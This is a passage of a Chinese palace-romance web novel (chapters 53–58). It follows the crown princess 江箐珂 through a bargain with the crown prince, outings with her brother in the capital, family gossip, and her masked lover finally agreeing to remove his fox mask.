他眼神迷离沉醉,适才的情绪,都被刚刚几下轻啄和几句后贴心话,给哄得烟消云散。 湿热的气息鼓得面纱轻动,大手按住江箐珂的后脑勺,夜颜强势回吻。 他腾出一只手,摸起一枚棋子,覆在烛火之上,压灭那唯一的光亮。 面纱滑落,唇与唇亲密无间。 江箐珂本是想着帮他的,却变成了他帮她。 柔荑穿过发丝,有一下没一下地抚摸他的头。 江箐珂用力不是,不用力也不是,只能无措地受着。 极致且新奇的愉悦,让人无所适从。 她用力咬着红唇,手搭在棋盘上,五指在收缩乱抓间,抓乱了棋局,也抓了满满一大把的棋子。 黑的,白的,混杂不清。 就如同她那早已被感官击溃的理智,乱七八糟,混沌不清,险些就像拉着夜颜与她同房生孩子。 不愧是夜颜。 身手了得,伺候人的功夫也了得。 江箐珂忽然想起江止白日里说的话。 她觉得那句话说得不对。 那种快乐...... 不能说,不能说。 这种快乐她自己知道就好了。 ...... 第53章 怎么会这样(3-2) 翌日。 江箐珂醒来时,躺在床上回味昨夜的事。 帐内虽仍弥漫着栗子花的气味,可身侧已空,被褥上留下的余温也早已散去。 她想起了夜颜的眸眼,又想起了之前看到的唇形。 许是早上起来脑子够清醒,又许是灵光闪现,江箐珂突然想起夜颜的唇形像谁了。 像李玄尧,也像长公主李鸢。 怎么会这样? 江箐珂起身下榻,在喜晴服侍她梳妆打扮时,她问道:“穆珩的事可有眉目?” 喜晴沮丧摇头。 “奴婢找了好多太监、宫婢和嬷嬷问过,可文德皇后宫里的老人,除了曹公公外,再无他人了。” “而穆府前几年抄家,府上的下人一部分都被发卖,一部分则跟着穆大人去了流放之地。” “想打听清楚穆珩公子的事儿,还真是有点难。” 江箐珂思忖道:“按理说,穆珩应该也是跟着穆大人一同被押往流放之地的,可太子殿下若是救了穆珩,定会弄个假穆珩在那边充数,以避人耳目。所以,就算咱们派个人去流放地查,查到的也未必是真的。” 喜晴颔首附和。 “是这个理儿。” 这样猜来猜去的,猜得江箐珂有些累。 她将玉梳拍放在桌上,干脆道:“不用再打听了,管他是穆珩还是八横的,爱是谁是谁吧。” 更何况,她是否会长留在京城,还不知道呢。 知晓了夜颜是谁,又有何用。 他是李玄尧的人,带也带不走。 有这时间,还不如多花心思陪阿兄出去玩儿呢。 自从罚过张良娣后,张良娣也不怎么来请早安了,江箐珂倒是落个安静。 吃完朝食,她便惦记着要出宫去看江止。 可东宫的大门前却守了四名黑甲卫,外加谷丰和谷俊二人。 她要出去,他们就双剑交叉拦着她。 “太子殿下有令,太子妃不得擅自离开东宫。” 江箐珂找了曹公公理论,曹公公哼哼哈哈地竟打太极。 “本宫要见殿下。” “启禀太子妃,太子殿下怕是要十日后才能见到了。”曹公公回道。 “为何?” “殿下奉皇上之命,有要事需离开京城几日。” 江箐珂一听,首先想到的便是夜颜:“那他呢?” “夜颜公子自然也是跟着去了。” 今日离城,李玄尧至少昨日就该知晓的。 可他和夜颜谁都没提前跟她知会一声。 亏她昨晚还可怜夜颜,抱他、哄他、跟他卿卿我我。 江箐珂怒火中烧,那股火气直冲天灵盖。 他们死在外面都无所谓,问题是她出不了宫,没法去寻她阿兄。 没法冲进李玄尧的书房里去祸害,江箐珂就把他书房院子里的花花草草,全都用刺龙鞭给洗礼一边。 东宫侍卫出面劝阻,她就连人带草一起抽。 曹公公看着心疼,却也只能在旁干跺脚瞧着,哎哎呀呀地苦劝。 “哎呦太子妃,这可都是殿下的心头草、心头花啊。” “这花花草草有什么罪,何必这般糟蹋呢。” 江箐珂充耳不闻,鞭子抽得虎虎生风,直到气撒够了,院子里一片狼藉,这才消停下来。 没有李玄尧的手谕,她根本出不了宫。 可她又甚是惦念着江止。 怕他一个人在京城里人生地不熟,玩不好,吃不好,遂又安排喜晴带着谷丰出宫去陪了他一两日。 江箐珂呆在凤鸾轩里无聊,闲着没事儿,就叫继母张氏和江箐瑶来她这里喝茶。 喝茶是次要的,炫耀她所拥有的富贵荣华,才是主要的。 看着那母女俩羡慕得眼红肚子疼,江箐珂感觉这东宫的日子,比以前可有趣多了。 别看江箐瑶在京城没个熟人,可日子却过得比江箐珂还忙碌。 今个儿同张氏去应淑妃的约,明个儿就被惠贵妃传去在御花园里赏花饮酒,后日跟着十一皇子出宫逛京城,大后日则跟着十皇子去国公府的赏菊宴,每日都安排得是满满当当。 六七日不到,江箐瑶便凭着她那活脱外放的性子,在京城里结交了一些高门贵女。 江箐瑶一得闲,便会来江箐珂的凤鸾轩各种炫耀。 一会儿说右丞相家的小女儿送了她什么翡翠玛瑙,一会儿又臭美刑部尚书的嫡次女与她说相见恨晚,一会儿则说枢密院副使的三女儿要与她义结金兰。 总之,就是整个京城的贵女都喜欢她,夸她好看,夸她聪慧。 江箐珂本是不在意这些的。 但她就看不得江箐瑶那小人得志的模样,总想给她泼盆冷水,灭灭她春风得意的嚣张气焰。 第54章 穆家之事(3-3) “江箐瑶,人家哄你几句,你就不知道自己姓甚名谁,生在哪儿长在哪儿了吧?” 江箐瑶贱兮兮地坐在那儿笑。 “阿姐就是嫉妒我。” “你看看你,都当太子妃了,怎么没见哪家贵女邀你玩儿,没见哪家主母送你礼,请你去府上赏赏花,吃吃酒啊?” 江箐珂摆出一副不以为然的架势。 她嗔笑不屑。 “堂堂太子妃,也是她们想请就能请的?” “他们倒是想巴结本宫,只可惜啊,本宫从不给机会。” “江箐瑶,你当真以为这些官宦世家的贵女们,真喜欢你这个人?” “她们土生土长的京城人,金枝玉叶,会瞧得上西延长大的我们。” “表面上夸你这,夸你那儿,背地还不知怎么蛐蛐你呢。” “保不齐,还嫌你土,嫌你粗野,嫌你没见过世面。” 江箐瑶不服,双手叉腰反驳。 “你乱说,她们就是喜欢我,都争着抢着要跟我做手帕交。” 江箐珂故意娇柔作造地捂嘴笑。 “妹妹真傻!若非你有个太子妃姐姐,你看她们会睬你不?” 江箐瑶撅着嘴,气得没话说了。 她切了一声,走到殿门前,一屁股坐在了门槛上,看得周围的宫婢皆是两眼发愣。 “这太子妃的位置,还不是你抢我的。” “不然,爹爹肯定是让我嫁的。” 喜晴忍不住插了句,反驳道:“向来都是长女先出嫁的,怎么就是抢二小姐的了?” “倒是二小姐,当时不吃不喝,整天哭着闹着要代替太子妃嫁东宫。” “若皇上真是赐婚给二小姐的,以老将军对您的宠爱,当初怎就没如您的意。” 江箐瑶憋了半天不说。 自己坐在那儿半晌,不知突然想起什么事来,脸上立马又换上那副贱兮兮的笑模样。 她站起身来,双手抱在胸前,端着一副幸灾乐祸的架势,又重新走到江箐珂的对面坐下。 “我昨日跟几位贵女在松香阁吃茶,听吏部侍郎的小女儿和刑部尚书府上的孙媳妇说起一件事。” 江箐珂觑了她一眼,没搭茬。 但江箐瑶不在意,继续往下说道:“阿姐可听说过太子殿下的恩师,前太傅兼内阁首辅穆大人?” 提到穆大人,江箐珂自然就想起了慕容熹和夜颜。 穆汐和李玄尧的关系,几乎全京城的人都知晓。 想来是京城的那些贵女们定是同江箐瑶提起了此事。 “知晓,怎么了?”江箐珂问。 “听说这位穆大人当年是被奸人所害,如今罪名已经洗清,一家平反,不日就要回京复职重回内阁了呢。” 这事儿江箐珂还真没听说过。 穆大人得以平反,那穆汐和穆珩便可以摆脱罪臣之女的身份了。 江箐珂刚想到此处,便听江箐瑶笑道:“据说,这位穆大人的女儿叫穆汐,与太子殿下郎情妾意,只可惜被发配到了教坊司当了官妓。” “就是不知道太子殿下会不会念旧情,把人也收进东宫,封个才人、良娣什么的?” “到那时,宫里跟阿姐争宠的女人,可就又多了一个呢。” 江箐瑶说着说着,就啧啧啧地咂舌,扮出一副可怜江箐珂的模样。 “阿姐知道吗,我现在特别庆幸当初没嫁到东宫。” 江箐珂耸了耸肩,表示无所谓。 事实上,她也确实无所谓。 李玄尧喜欢谁,宠谁,跟她一点关系都没有。 左右是个没蛋的主儿,能宠幸谁? 江箐珂声音慵懒,回得是云淡风轻。 “我嫁的是富贵荣华,权利地位。” 她摊手表示毫不在意:“这东宫里多出几个女人,那我也是太子妃啊!” 江箐瑶见江箐珂仍未被打击到,有些消沉。 一双桃花眼滴溜溜地来回动了下,又想出打击江箐珂心态的事儿来。 “阿姐。” 她朝江箐珂突然又凑近了几分。 “你实话实说,你跟太子殿下那个......那个合适吗?” 江箐珂装傻充愣。 “哪个啊?” “就那个啊。” “那个是哪个啊,你不说清楚是哪个,我哪知道你讲的是哪个?” 江箐瑶急得红唇启合多次,最后道:“男女交媾的那个呗。” 江箐珂蹙眉瞪她。 “没羞没臊。” 江箐瑶撇嘴笑道:“我可听说了,很多人都怀疑阿姐在东宫里守活寡呢。” 这流言传的,江箐瑶才来京城几日啊,李玄尧不行的事儿就飘进她耳朵里了。 江箐珂沉默没搭茬。 而喜晴在旁忍了大半天,终于忍不住,回呛道:“二小姐一个尚未出阁的黄花大闺女,怎好如此轻浮,议论别人的闺中房事?” 江箐瑶却是理直气壮。 “迟早要知道的事儿,迟早要议论的话,未出阁的女子提前了解有什么不好的?” “母亲说了,男人不仅要看家势相貌和才学,还得看下面行不行,那可是事关女子一辈子幸福的事儿。” “我提前多了解些,总比像阿姐这样,嫁了人才发现不行的强啊?” 江箐珂被这句话深深给刺中了。 是啊,她还是成婚后几日,才发现睡的是别的男人。 喜晴替江箐珂辩驳道:“太子殿下是龙血凤髓,样样好,样样强,太子妃有时招架不来倒是真的。” 第55章 今晚她很乖 江箐瑶表示不信。 “那你嫁给太子数月有余,怎么肚子还没个动静?” 江箐珂两眼一闭,把锅都扣自己头上了。 “是我不行!” “是本宫肚子不争气!” 江箐瑶也不知哪来的自信,咬定是江箐珂骗她。 “骗人。” “阿姐定是觉得自己嫁得不如意,怕日后矮我一头。” “那日张良娣请我去她屋里吃茶,我无意间看到她屋子里有这么大......” 江箐瑶边说边用手比划着,五官也跟着夸张地乱飞。 “这么粗的......” 顿了顿,江箐瑶嗫喏吐出两个字。 “玉势。” “肯定是殿下不行,张良娣才会用此物来纾解闺房寂寥的。” 哎呦我的天爷,这个江箐瑶怎么什么都懂。 那张氏整日都教了什么乌七八糟的? 江箐珂听得后背发凉,额头冒出一层冷汗来。 她立马捂住江箐瑶的嘴,严声厉色道:“这话你都跟谁说了?” 江箐瑶拼命摇头,在江箐珂的手心下含糊道:“目前只跟你和母亲说了。” “当朝太子岂是你能妄议的。” 江箐珂指着江箐瑶的鼻子警告。 “记住了,出了这凤鸾轩,好好管住你的嘴巴。否则,你日后人头落地,我可就能如愿以偿,睡觉偷着乐了。” 江箐珂现在与李玄尧是一荣俱荣,一损俱损。 在等到脱身的合适时机,她得帮着李玄尧守住这东宫之位。 遂,江箐珂又为李玄尧辩解了一句。 “宫内的女子本就有受宠的和不受宠的。” “张良娣有那东西也不足为奇,跟太子殿下行不行有何关系?” “别跟你娘一样嘴贱又犯蠢,到外面瞎胡说。” 江箐瑶最不能容忍江箐珂骂她娘了。 她立马炸了毛:“骂我就骂我,凭什么骂我娘?” 江箐珂哂笑了一声,想当然地回视着江箐瑶。 “咱俩同父异母,都姓江,我聪明嘴严,你却愚蠢嘴贱,那只能说是差在娘这里了。” “所以你娘不蠢,谁蠢?” 江箐瑶叉腰又跺脚,仍是个少女性子。 “我不准你骂我娘。” 江箐珂得意晃头,故意气她。 “不准骂也骂了,怎么招吧。” 江箐瑶气呼呼:“我告爹爹去。” 江箐珂老神在在地窝在摇椅里前后晃悠,压根不把她当回事儿。 “我现在是太子妃,你告谁都没用!” “眼睛瞪得再圆也没用。” “哭鼻子装可怜也没用。” …… 姐妹俩在凤鸾轩斗了大半晌才消停。 ** 江箐珂盼星星,盼月亮,终于把李玄尧给盼回来了。 李玄尧前脚刚回东宫,收到消息的江箐珂后脚就来了他的书房。 院内的那些名花名草跟被狗刨了似的,李玄尧见到江箐珂岂能有何好表情。 要不是看在那五十万江家军的面儿上,连书房都不想让江箐珂进。 他面色阴沉沉,语气冷冰冰地开口:“何事?” 江箐珂也不是兜圈子说话的性格,直言道:“妾身想时常出宫去找兄长玩儿。” 李玄尧掀起眼皮觑了她一眼,没搭理她。 那眼神仿若在说你还好意思要出去玩儿? 他转头接过曹公公递来的茶,旁若无人地品起了茶,视江箐珂为空气。 见李玄尧这态度,江箐珂只能搬出事先想好的筹码。 “只要殿下肯准妾身自由出宫,妾身保证......” 她伸出三根手指头,眸眼晶晶亮地看着李玄尧,神色、语气都十分地诚恳。 “我愿意跟夜颜同房,努力为殿下生孩子。” 这筹码砸到李玄尧的心坎子上了。 他终于有了反应,侧眸看她,仍有几许不信。 “真的?” 江箐珂又举手发誓。 “妾身所言,句句为真。” “只要殿下同意,除了癸水那几日,妾身可以跟夜颜天天同房,只要他干得动。” 同房是真的会同房,毕竟她都开过荤了,也不能老素着。 但避子丸不妨碍她吃。 李玄尧唇角难抑地翘起来一些。 他眉头轻扬,将手中的茶盏放下,慢声道:“行啊,那就今晚开始,先让本宫看看爱妃的诚意,诚意够,自然准你自由出宫。” 江箐珂点头如捣蒜:“没问题,就今晚。” 是日夜里。 江箐珂又盼天盼地把夜颜给盼来了。 为了能出宫找江止玩儿,她也懒得同夜颜翻旧账。 人刚踏进殿内,她就捧着托盘,急步迎了上去。 芙蓉花面仰起,江箐珂开口同夜颜说的第一句话便是:“我洗干净了,你洗了吗?” 一声鼻息从那狐狸面具下传出来,夜颜似乎笑了。 他颔首回应。 洗了就好,那就省了不少事。 江箐珂把托盘里的眼罩抬到夜颜的眼前,睫毛扑闪,清润美眸俏生生地看着夜颜,每个细微的小表情都透着股殷勤劲儿。 她弯唇笑道:“你今晚想用哪个?” 狐狸面垂下,修长骨感的手指随着目光,在那几个甚是精美华丽的眼罩上,往复扫了一遍。 指尖敲定,夜颜选了个嵌了珍珠的。 江箐珂转身把托盘放在旁,将那珍珠眼罩又塞到夜颜的手里。 她双手背在身后,闭上眼,仰起脸,柔声催促道:“快给我戴上。” 夜颜依言照做。 眼罩蒙好后,江箐珂展臂求抱,娇憨而不自知。 “快抱我去床上。” 夜颜忍不住轻轻掐了下她的脸蛋,然后毫不费力地托起双腿,把江箐珂抱在胸前,行到花枝灯前,将烛火一一熄灭。 寝殿被黑暗占据,暧昧缱绻开始疯狂滋长。 衣衫、衣带从榻边滑落,凌乱堆叠在床前的脚踏上,而那个狐狸面具则掩藏在衣裙之间。 帐暖香生,江箐珂哼哼哼唧唧。 “夜颜,你轻点儿。” 为了能出宫找江止玩儿,她这晚很乖很乖,乖得陪夜颜折腾了两次。 第一次累得头挨着枕头就睡着了。 可睡到后半夜时分,一个翻身无意钻进夜颜的怀里,便因为一个不经意的轻吻,又燃起了第二次火。 许是因为她很乖,夜颜今天的动作虽然一如既往地强势、热烈,却要较以往轻柔得很多。 轻轻地吻,轻轻地摸,轻轻地抱,然后轻轻地...... 江箐珂的诚意,也在床笫之间表达得淋漓尽致。 次日。 待江箐珂醒来时,虽已不见夜颜,可曹公公却带来了她诚意的回馈。 “这是东宫侍卫出宫办事的令牌。” “这是东宫侍卫的统一穿戴,特地按照太子妃和喜晴姑娘的身量,连夜命绣娘改了改。” 江箐珂拿起那令牌,眉开眼笑,别提多开心。 “多谢曹公公。” 曹公公笑眯眯道:“咳,这得谢太子殿下。” “那就劳烦曹公公,回头替我跟太子殿下道声谢。” 曹公公点了点头,继而又补充道:“太子殿下担心太子妃的安全,另外还安排了谷丰和谷昭,陪同太子妃出宫。” 出宫玩儿,还要带两个拖油瓶? 江箐珂有些不乐意。 “我和喜晴都能打,用不着他们保护。” 曹公公仍是那么笑着。 “这是太子殿下的意思。” 尖细的嗓子慢条斯理地又道:“更何况,谷丰和谷昭都是宫里的老面孔,宫门的守卫都认得他们,有他二人在,太子妃和喜晴姑娘出入也方便些。” 江箐珂看向殿门外的两人。 美其名曰是保护她。 其实,还是李玄尧不放心她,寻个借口派人盯着她罢了。 她心想只要能出宫,带着就带着吧,免得跟李玄尧讨价还价时他再反水。 第56章 就冲这浪劲儿 江止既像他口中常叼的野草,又像西延野山里的鬣狗,有股子韧劲儿,无论到哪儿,他都能活得很好。 十几日未见,江止便已经把偌大的京城探得六分熟。 人不仅吃得好,玩得好,更是在佰顺镖局里混得如鱼得水。 江箐珂寻到他时,江止正在镖局里带着那帮兄弟舞家伙、练功夫。 明明天气已入秋转凉,他却光着一身腱子肉,练得大汗淋漓的。 见江箐珂女扮男装出现在眼前,他唇角一勾,将手中未开刃的双刀扔给了她。 “过几招试试,看看手生没?” 正好许久未练,江箐珂双刀握稳,旋即出手。 左刀朝江止横斩而去,右刀趁机封喉,江止不躲不退,短刀挡拆,长刀反撩,一招一式重若山崩。 一旁的喜晴目光紧随江止而动。 谷丰瞧见,磕磕巴巴地在旁酸道:“也,也,也......就,那,那样吧。这,这,这功夫,在.......在,在咱们东,东东东宫,不,不,不......不算,什么!” 喜晴面色不悦,斜了谷丰一眼后,讥讽道:“话都说不利落,话还这么密。” 日精于勤荒于嬉。 几招打下来,无论是体力,还是防守攻击,江箐珂的身手明显不如几月前。 见江箐珂累得有些喘,江止停下攻势,收了刀。 “这太子妃让你当的,人都当废了。” 言语间,他将干净的帕子呼在江箐珂的小脸上,甚是粗暴地给她擦了下汗。 她擦过汗的帕子,江止又拿过去擦自己。 江箐珂看着那帕子恍了一下神儿。 这在以前都是再平常不过的小事,她从未在意过。 可是现在不同了,她嫁人了,也知晓了男女情事,总会对这些不经意的细节,变得敏感起来。 白色里衣和红袍依次套在身上,江止不拘小节地衣襟大敞。 他抬手摸了下江箐珂的头,胸肌的沟壑和腹肌的凹渠在一动一走间若隐若现。 “想什么呢?走,带你吃酒去。” 见江止就这么敞着衣衫要走,江箐珂拽住他,将他挂在脖子上的腰带扯下来,塞到江止手里。 “这不是西延军营,大街上来来往往的都是人,就这么出去多不雅。” “屁事儿真多。” 江止嘴上抱怨着,手却将衣服穿得规规矩矩。 几人踏出镖局大门前,江止随手摘了朵种在墙角的蜀葵,簪在了耳上。 红袍配鲜花,风流倜傥又招摇,是江止一如既往的作风。 江箐珂带着几个拖油瓶,跟着江止进了家酒楼。 刚进门,酒楼的老板娘便风姿摇曳,婀娜而来。 那熟稔热情劲儿,一看就是跟江止混熟了。 “江公子好几日不来,奴家还以为以后都见不到公子了呢。” 老板娘眉目含情,推搡间,说话的声音也是娇娇柔柔的。 江止取下耳边那朵蜀葵,放荡不羁地簪在了老板娘的发髻上。 他用力拍了下老板娘的大屁股,凑到人家耳边邪肆笑道:“就冲着你这股子骚浪劲儿,老子也得来啊。” 帕子扫过江止的脸,老板娘的音调是百转千回。 “讨厌。” 江箐珂无语摇头,却也习以为常。 江止跟人家眉来眼去地浪完了,转身一把搂住她的肩头,踏着懒拖拖的步子,把她往阁楼上带。 老板娘站在下面扬声问:“公子今日吃什么啊?” “还是那几样。” 江止回得漫不经心。 这家酒楼里没有雅间,二楼、三楼都是回字形的。 转圈摆着桌椅,客人可以透过围栏,一边饮酒吃菜,一边欣赏一楼主台上的戏曲弹唱。 酒菜很快就抬了上来。 江止说的那老几样,都是江箐珂平日里爱吃的菜。 江箐珂动筷开吃,江止却栽歪着身子,倚坐在那里。 他目光冷然地看着谷丰和谷昭二人,不说也不笑。 下巴上斜到耳侧的刀疤,外加浸淫沙场多年的戾气,总给人一种凶厉狠辣的压迫感。 “怎么着,要坐下来跟老子喝几杯?” 见状,江箐珂立马同谷丰、谷昭二人吩咐道:“都晌午了,你二人和喜晴另坐一桌,也点些酒菜吃吧。” 谷丰和谷昭显然是受李玄尧之命要时刻盯着她,站在那里面面相觑,谁都没敢动半步。 赶在江止恼火前,江箐珂用力将筷子拍在桌上。 “我的话都不听,找抽是不是?” 喜晴边劝边拉着谷丰、谷昭二人去了旁桌。 “我们大公子吃饭不喜外人瞧着,再说,太子妃还能跑了不成,坐下来一边吃饭一边守着,也是一样的。” 杵在桌旁的两个碍眼之人没了,江止终于拿起碗筷吃起来。 跟李玄尧的细嚼慢咽,斯文吃相不同,江止总是大口吃菜,大口扒饭,看起来吃什么都很香。 江箐珂瞧着也胃口大增。 她突然想到夜颜。 也不知他是什么吃相。 整日戴着个狐狸面具见她,两人从未在亮堂堂的地方一起吃过一顿饭。 饭吃到一半,江止开口问她:“这些日子,我听到一个传闻。” 江箐珂茫然抬眸,“什么传闻?” 幽深漆黑的眸子煞有深意地看着她,江止沉声道:“听说前两年李玄尧外出狩猎坠马,被马蹄子踩爆了。” 江箐珂眸眼低垂,借着睫羽遮掩说谎时的心虚。 “你也说是传闻了。” 江止侧头朝楼下的戏台望去,吁叹道:“无风不起浪。” 江箐珂也顺着他的视线看去。 戏台上,一男一女穿着戏服,踩着鼓点,东摇一步,西晃一下,腔调哀哀怨怨,唱的是离别之痛。 这戏,江箐珂听得心事重重。 过了不一会儿,江止最先打破了沉默。 “不管怎样,若是过得不如意,随时跟阿兄说。” 余光里,江止侧眸,直勾勾地看向她。 “不靠那五十万江家军,天涯海角,阿兄也总能带你寻个容身之地。” “离家出走,不是你从小最擅长的嘛。” 视线从那戏台子上慢慢回移,江箐珂看向江止,会心地点头笑了笑。 是时,酒楼的老板娘提着一壶酒徐徐而来,然后百媚千娇地在江止身侧坐下,给他倒了一盏酒。 “这几日公子怎么没来啊,让奴家好想?” 江止翘起二郎腿,伸出手臂搭在老板娘身后的椅背上,又端起了那副不着调的姿态。 薄唇浅勾,他懒声道:“出了几日的镖。” 老板娘看向江箐珂,细细打量道:“这位......姑娘是?” 江箐珂心想,这老板娘眼睛倒是毒得很。 她这一身侍卫装扮,胸都裹得平平的了,还瞧出了她的女儿身。 下次是不是得贴几撇小胡子啊。 江止回:“家妹。” 眼波一转,老板娘登时就换了个脸色,给江箐珂也倒了一盏酒。 “原来是江公子的妹妹啊,幸会幸会。” 转头,涂了丹蔻的纤纤素手顺着江止脸侧的刀疤勾画,老板娘凑到江止身侧,娇声道:“今儿的酒菜全免,晚上,陪姐姐喝几杯如何啊?” 江止哂笑出声,掏出碎银,塞进了那襦衫勒出的沟缝里。 他眸眼风流地看着那老板娘道:“一顿酒菜就想要了老子,岂不是便宜你了。” 第57章 他同意摘面具 酒足饭饱后,江箐珂同江止等人出了那家酒楼。 在等谷丰将马车牵来时,江箐珂忽然留意到酒楼斜对面的那家当铺。 当铺之所以会引起她的注意,主要是因刚刚从里面走出来的人。 那人穿着一袭白衣,戴着帷帽,出了当铺,便在两名侍婢的搀扶下,上了门前的马车。 江箐珂相信自己不会看错。 刚刚那人就是慕容熹,准确来说,是穆汐。 穆汐有李玄尧养,要什么没有,来当铺做什么? “瞧什么呢?” 江止循着她的视线看过去。 不过,马车已载着穆汐,朝着另一个方向缓缓而去。 江箐珂不甚在意地摇头道:“没什么。” 收回视线前,她又瞧了一眼那当铺的匾额——归宝阁。 马车尚未到,江止闲着也是闲着。 他手臂随意地架在江箐珂的肩头上,同她慢声说起了这家归宝阁。 “听镖局里的兄弟说,这家归宝阁是做两道生意的。” “明面做典当赎买之事,暗里则做着消息买卖的活计。” “京城里谁想打听点什么事,都可来这归宝阁问上一问。” “但有一点,这里消息买卖用的不是金银。” 江箐珂诧然:“那用什么?” “消息。” 江止细说道:“他们只换自己认为有价值且能辨真伪的消息,不是,你拿多少银子都没用。” 微微侧眸,江箐珂再次看向那家归宝阁。 “那这里岂不是网罗了全京城的八卦和秘密?” “正是。” 江止眉头轻扬,也看向那家当铺,深邃的眸眼瞳色渐深。 他语气散漫道:“想来,这归宝阁的主人也是大有来头。” 江箐珂亦是认同。 在西延,像归宝阁这样收罗各方消息的青楼、酒肆有许多,其中就混了许多敌国的细作在里面。 他们收罗军机情报,暗杀行刺,来替他们的幕后主人办事。 她想着归宝阁应该也是大同小异,定是为某人所用而存在。 车轮轧着青砖赶来,江箐珂和江止随即上了马车,前往咏月坊。 江止这人活得糙,来京城就带了两套里衣和外袍。 而江止又是什么都能对付用,什么都是差不离就行的人,租的那宅院至今还有许多物件未置办齐全。 是以,江箐珂便拉着江止穿梭于各大布行衣铺,给他裁定了几身换洗的衣物,又去瓷器行等铺子里,买了些上好的茶具、香炉等等。 他们一路逛逛逛、买买买,转眼便到了暮鼓声起,斜阳西沉之时。 江箐珂又累又渴,便拽着江止和喜晴,带着两个拖油瓶,进了一家茶馆。 茶馆里此时有位先生正在说书。 起初,江箐珂光顾着和江止闲聊喝茶,并未细听。 可当一两个人名入耳后,她便听得入了神。 说书先生讲的竟是当今帝王与文德皇后、穆元雄三人间的情事。 要说这个文德皇后身世也是坎坷。 本是高门贵女,且才情横溢,是京城出了名的绝色才女。 可惜后来家道中落,日子过得一天比一天难。 好不容易挨到了可以出嫁的年纪,能如愿嫁给穆家的嫡长子穆元雄,也就是穆汐和穆珩的父亲。 偏偏那年她父母接连病死,要守孝三年。 而穆家的长辈也是势利之人,趁此机会寻了个借口,不顾穆元雄的反对,强行退了这门婚事。 后来,文德皇后的叔父不仁义,见她明艳娇媚,生得一副的好姿色,便将她作为舞姬,献给了当时还只是王爷的衡帝,以求未来仕途宏达。 之后,便是话本子上那些俗套的情爱故事。 一声惊堂木敲响,说书先生捋着胡子,无奈叹言。 “可惜,当今圣人虽是痴情之人,弱水三千只想取文德皇后这一瓢饮,却无奈生在帝王之家。” “欲戴其冠必承其重,既坐上了帝位,注定要辜负当年让他一见倾心的女子,广纳后宫,绵延皇嗣,以此纵横捭阖前朝势力......” 江箐珂听后,闭上眼,感觉脑子里全是浆糊。 又是穆家! 怎么哪儿哪儿都是穆家? 李玄尧的母后跟穆元雄有关系。 李玄尧又跟穆汐有关系。 而夜颜有可能同穆珩有关系。 江箐珂突发奇想。 儿肖母。 夜颜的眉眼和唇形跟李玄尧、李鸢长得像,该不会是文德皇后与...... 她正想得出神,江止突然用力捏住了她的鼻子。 “皱着眉头,想什么呢?” “没什么。” 江箐珂立马收敛思绪,还不想把有关夜颜的秘密告诉他。 茶喝得差不多了,想着咏月坊的夜市很是热闹,江箐珂便又拉着江止出来瞧热闹。 夜色沉沉,大街小巷却被灯火映得通明一片。 江止走到一个面具摊子,扬声叫道:“满满,这个如何?” 他将一个野猪头面具扣在了江箐珂的脸上。 江箐珂怒目取下,“以后别叫我满满,改叫我小满。” 江止蹙眉不解:“为何?” “满满太满了,水满则溢,月满则亏,不吉利。” “小满就很好,小满未满,剩下的都是好盼头。” 江止鼻腔里冷冷一哼,分不清是笑是嘲。 “谁说的?” 江箐珂默了默,撒谎道:“殿下说的。” 江止神色倨傲道:“老子觉得还是满满好。” “我喜欢小满,阿兄以后叫我小满。” 江止白了江箐珂一眼,接下来的一路,就故意喊她“满满”,怎么说都不听。 两人打打闹闹,看起来好不亲近。 也不知从何时起,江箐珂总觉得后脑勺发麻。 就好像有人在不远处盯着她似的,那种感觉冷森森的,好像有针往脑袋上刺。 察觉江止突然顿住脚步,江箐珂转身回看。 发现他仰头侧目,正朝着一家胡姬酒肆的轩窗里看去。 “阿兄在看什么?”江箐珂循着瞧去。 江止收回视线,大手习惯性地扣住她的后勃颈,像提拎小鸡仔似的,带着她继续往前走。 “看到个傻鳖。” ...... 宫门落锁前,江箐珂赶回了凤鸾轩。 玩儿了一天,她着实疲惫得很。 可想到还得兑现与夜颜同房的承诺,她又拖着疲惫去沐浴泡澡。 没多久,脚步声临近,带着那股特别的气息。 江箐珂转身看去,夜颜就立在浴池边上。 狐狸面具的遮掩,让江箐珂很难确定那双异瞳此时在瞧着何处。 那无处捕捉的眼神却如有实质,仿若幻化成千万条的黏腻细丝,从那双狭长的狐狸眼缝里探出,爬过玉石砖,在掠过水面,然后如同藤蔓植物一般,一根接一根地攀缠上她的身躯,毫无遗漏地四下窥探触碰,感受胴体的曼妙婀娜。 池温渐升,烘得江箐珂感到自己的脸也开始发烫。 她轻咬红唇,抱胸蹲坐在池中,将整个身子藏在水下,借着池内漂浮的花瓣,彻底遮掩满身春色。 池中水气氤氲缭绕,幽幽花香则弥漫在其中。 江箐珂和声邀请道:“你要是没洗,要不要下来一起?” 夜颜单膝着地,缓缓曲着另一条腿,在池边蹲下。 宽大的广袖长衫自然而然地在他脚边堆叠、铺展,任由池边的清水一点点浸湿。 他抬手敲了敲狐狸面,打了个手语。 美眸登时大了一圈,江箐珂难以置信地看着夜颜。 她确认道:“你......愿意让我摘掉?” 夜颜点头。 江箐珂惊得下巴要掉了。 她眨了眨眼,问:“大晚上的,太阳莫不是跟月亮一起从西边儿出来了?” 夜颜轻声出息,似是笑了。 他又点了下那个狐狸面具,催着江箐珂快点摘。 第58章 摘下面具的他 事出反常必有妖。 夜颜突然这么大方,江箐珂总怀疑他葫芦里似乎卖着什么药。 在她踌躇斟酌间,夜颜似乎看出了她的顾忌和猜疑。 褪去衣袍,长腿顺着浴池的石阶,一步步踏进池水之中。 浴池上空热气缭绕,角落里的烛火明灭摇曳,把一切都映得朦朦胧胧的。 水声淅淅沥沥,夜颜仿若从仙境而来的狐仙,朝江箐珂走来。 他将她水中捞起,揽到怀中,圈到他高大的身影之下。 浑身上下没有半点衣料的阻隔。 肌肤贴着肌肤,湿漉漉的,滑溜溜的,还有一点点的烫。 氛围使然,两人不由地都轻喘起来。 夜颜俯首,将那狐狸面朝江箐珂凑近了几分。 江箐珂心想,葫芦里就算卖药又能卖什么药,顶多也就是春药,断不会是要了她命的毒药。 机不可失时不再来。 “这是你求我摘的,那我可摘了啊。” 夜颜闻声颔首。 双手绕到他的头后,咔嗒一声,江箐珂按开了那个特制的金属链扣。 而一颗心也随着这声脆响,在胸腔里蹦蹦跶跶,雀跃得不行。 今夜的烛火很亮,终于可以一睹真颜了。 她想一下子就掀开,可夜颜的大手却握住了她的双腕,引导她一点点将那狐狸面具从脸上取下。 先是朗眉玉额,再是那双与众不同的眼睛。 这两处,毫无期待。 她早看过了! 江箐珂急不可耐,双手用劲儿,想像快点把狐狸面给他摘下来。 夜颜的大手却钳住她的双腕,忽然卖起了关子。 